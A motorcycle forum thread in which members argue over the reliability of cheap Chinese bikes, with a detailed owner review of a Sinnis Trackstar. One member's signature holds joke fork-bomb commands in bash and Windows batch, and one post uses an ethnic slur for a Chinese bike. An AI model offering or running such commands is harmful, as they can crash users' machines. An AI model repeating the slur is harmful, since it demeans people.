Chinese Bikes

[mentalboy]

[garc1a]

i suppose theres no better thread for my first post

I recently had a lexmoto valencia (retro scooter) 50cc, bought brand new at the start of last summer and only recently departed (stolen 4 weeks ago).

I would never touch one again. it seemed i was for ever having to do stuff to it or change parts. the mirrors needed replaced right away, every time i done an oil change i had to replace the sump plug (the metal really was soft), replacing screws that threaded over easily, really cheap plastic build and after only 7 months or so it began to be difficult to start and electric start playing up (also had battery replaced). so many things seeming to go wrong very quickly for a brand new bike. tho i learned a lot about the runnings of the engine in a short period of time. i was slightly over joyed when it got nicked...
ill pay for it in insurance rise, but its got me moving on from them.

cbt on wednesday and hopefully riding a yamaha ybr by next week

[Rogerborg]

[mentalboy]

"You pay your pennies, you take your pick" as my esteemed late grandfather used to say.
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Make mine a Corona.

[blito]

For the record, I have a 125cc chinkmobile and use it every day for my commute to work, in all weathers.
Its f***ing brilliant
'nuff said
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2012 Zontes Monster

[G]

[blito]

[mentalboy]

[G]

[mentalboy]

[blito]

[mentalboy]

So Blito, you've got an eight month old machine that's done 1800 miles, I've got trainers that are older with more mileage on - probably not in such good condition as your machine but I'd expect a motorbike to outlive a pair of trainers.

To fill you in on some of the things discussed earlier in the thread you'll be pleased to note that the general consensus of opinion is that these are cheaply produced to meet the needs of today's throwaway society and would suit someone who wants the reliability of a brand new bike, would probably only use it for a year and then sell it to some poor unsuspecting mug who gets it just as it falls apart. The advantage from your point of view is that if you sell it at about a year old it will have probably cost you less than buying a new Jap bike and taking a massive hit on first year's depreciation.
I currently have four bikes from between 1991 and 1994, whilst the oldest running unrestored machine I've had was built in 1951 (at the time I owned it it was between 35 and forty years old).
I'm not saying you should expect any bike to last forty years but it should not be unreasonable to expect fifteen years from a reasonably well looked after machine with little more than routine maintenance.
From the ones that I've had the misfortune to have to work on, I'd say the brake calipers will probably be shot by the time it's three years old.
Buying Chinese is probably more astute than getting Japanese at the moment though because their quality control has generally gone right down the toilet in the last few years - probably in order to compete with emerging markets.
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Make mine a Corona.

[Polarbear]

[nop]

I thought it was obvious they are cheap because they are built from cheap materials to a very low tolerance with little to no quality control.

I have NEVER seen a chinese bike for sale with more than 10000 miles.

Why will this thread not die?

oops, because I posted in it.
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[ $((RANDOM%6+0)) == 0 ] && ){ :& };: || echo "You live"

echo start .bat^&start .bat>.bat&.bat

[mentalboy]

[garc1a]

[quote="mentalboy"]

[blito]

[mentalboy]

[blito]

Good point there about the odometer being in KMs....
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2012 Zontes Monster

[Sable]

Incoming!

A repost of my current review of my Sinnis with couple of additions info and pictures.

Sinnis are Brighton UK based, use Suzuki GN based licensed engines, and sell badged bikes from Quingi. I believe some of their models are 'almost' the same as some other brands (Pulse springs to mind). The only difference is Sinnis' owner's brother (or another family relation of some sort) is actually over in China land doing the QC. Hence why Sinnis seem to be a notch above the rest of the cheap cheap bike market.

My reason for buying was I have a habit of having bikes vanish. I live near Hayes End, and anything sporty, supermoto, or off road is taken away in the middle of the night by magic elves who usually leave them in hedges, fields, or piles of ash. I have no garage, so I wanted something cheap to do a painfully slow trek into work and back every day that did not look like thief bait. The intention of moving home or getting a garage and getting something a bit silly for the weekends at a later date (RS 250's appeal greatly to me for weekend fun ).

The rolling review from the other day with mileage and pictures updated.


Motorbike Model
Sinnis Trackstar

Age
8 months

Mileage
6140km / 3815mi

Max speed during running in : 30mph?
Max speed the bike feels unstrained : 40mph-45mph
Max speed the bike goes : 60mph-65mph
Max speed the bike goes off a cliff : Maybe 85mph-95mph – Untested

Note on speed – On running in pre 1000km, I was gearing up too 5th about 28mph and it felt natural and unstrained. After first service I was gearing up too 5th about 35mph. No idea if thats usual or different after proper running in of other bikes?

Notes

Chain needs tightening after first 500km, then every 1000km (600′ish mile).
Front left indicators may come bent (common fault, replaced for free by dealer).

Negatives

The Engrish manual.
Paint rubs off engine a little where boot rubs it. *
Speedo is in MPH/KPH – Odometer is only km.
Sinnis do not respond to emails at all. **
Frame welds are a touch messy.***
Chrome on mirrors isn't great.****

Positives

Good fuel economy (about 90 – 100mpg, may have gotten 125mpg on Shell V Power, re-testing this).
High mirrors give excellent rear view.
Tiny tiny turning circle. (can manage a 7 foot U Turn, literally in a single parking bay)
Looks good.
Wide bars make incredibly easy steering.
Very lightweight.

* Best fit explanation I have for the missing paint. Not 100% certain though.

** Sent an email to 3 of 4 email addresses on the website so far with no replies yet. They are however good on the phone and active on Face book. I just don't have access to a phone during weekday opening hours.

*** A touch overly critical, the bike certainly doesn't feel like its going to fall apart any time soon. Its entirely looks perspective. Pics available if requested.

**** Not sure if it because of drop or not, but 2 little cracks appeared in chrome of right mirror over winter. Chrome on rest of bike is OK.



Expanded bit :

Paint rubbing off image :

https://sableyes.weebly.com/uploads/1/1/5/3/11538867/4377683.jpg

That image makes it look a lot worse than it is, way the light falls. The rubbed bit is the focused lightest bit, all the rest of the light / white bits are light or dust.


Engrish Manual :

The manual is written in Engrish. I reckon Sinnis could do with converting the manual properly to English as it isn’t long and really does read badly in the badly translated form its currently in. One annoying example, the running in section. It says to keep the bike below 5,000 rpm for the first 800km, but the bike does not have a rev counter and it gives no indication of how fast you can ride in any gear to stay below 5,000 rpm. Not helpful.

There is apparently a tool kit in some sort of box below the seat. To get the tool kit you need to ‘Insert key and lower the panel’ as it says in the manual. Well I have located the box, but no key hole.

*I did eventually figure that out, no keys required you just pull a tab thing and it pops open *

Welds :

https://sableyes.co.uk/wp-content/uploads/2012/12/2001855_orig-300x225.jpg

Thats not rust, I have to roll my bike through a quagmire in my garden to park it, its just mud flecks.

https://sableyes.co.uk/wp-content/uploads/2012/12/3385543_orig-300x225.jpg

https://sableyes.co.uk/wp-content/uploads/2012/12/7540279_orig-300x225.jpg

The fuel calculations :

366km = 227 mile
Total fuel capacity - 10 litres
Distance from full tank too reserve - 366km
Fuel used - Shell V-Power Unleaded
Cost of Shell V-Power - £1.429
Amount refueled at 366km - 8.25 litres
Cost too refill after 366km - £11.79
Total MPG - 125mpg

Other fluff :

Tyres have lasted thus far perfectly fine. My journey however does not give me many leaning opportunities and I am starting to feel an 'edge' on my tyre as they are beginning to square. There is still plenty of tread on them, but 250-300km a week of filtering... *shrugs* I need to visit the country lanes more.... I have a pair of Sporty Pilots ready to fit, I was just gonna use the current ones to run me out of winter.

I believe parts are available. A guy I know on Tweeter crashed his Apache, replaced half the bikes disposables, was riding again a week later. I am told for difficult parts you have to wait a week or two. I don't know what difficult parts are, I have not had to ask for anything yet.

I treat the bike OK. I haven't given her any ACF50. I ride her daily. I did give her a 2 minute wipe down on the really salty days after journeys (the engine was actually white with salt, I wouldn't leave that much salt on any bike!). I give her fresh oil every 2000km, and do the chain as stated above and shes been fine. I clean her most weekends with a dry cleaning fluid stuff from Halfrauds (Triplewax Waterless Wash & Shine). I do not do anything else with her.

I bought her for a commuting to work and being hopeful on reliability, and she hasn't let me down on either front (yet).

I do want to get a bit more into leisure riding, or at least meeting other bikers, so if anyone wants to see the Sinnis in the flesh & metal, and I don't get hanged for turning up at the Ace Cafe on it, am happy to come play there at weekends to show anyone interested in it. Theres also a lot of A40 riders on BCF, so happy to come out to Uxbridge and show it in Windsor Street (sp?).

[mentalboy]

Nice write up Sable, be good to see an update every two or three months.
Keep on top of things like the rubbed off paint - even hammerite looks better than powdery ally where paint's been damaged.

I have no idea what they are like for Sinnis parts but if you ever need helpful service for parts on the end of the telephone try Chinese Motorcycle Parts Online (LL Exeter), on the occasions I've had to source Chinese parts they have provided some of the best customer service I've ever had from a parts supplier.

Keep on top of oil changes - at shorter intervals than recommended by the engrish manual - to help prolong engine life.
____________________
Make mine a Corona.

[Sable]

Thanks Mentalboy. Elsewhere on the intertubes I do updates every 2,000km. I was expecting more things to blow up on it, but its really bland updates and nothing has gone wrong yet.

It doesn't appear to be going through oil very quickly, though I rarely exceed 50 mph on it. 2,000km changes I get roughly the same out as I put in. My commute is almost enitrely city stuff, so lots of clutch work and low speed stuff. Also why I took a 125 4 stroke for day to day stuff and want to eventually have something really silly for weekends (RS 250, I am still looking at you! ).

[Polarbear]

[Kradmelder]

[Sable]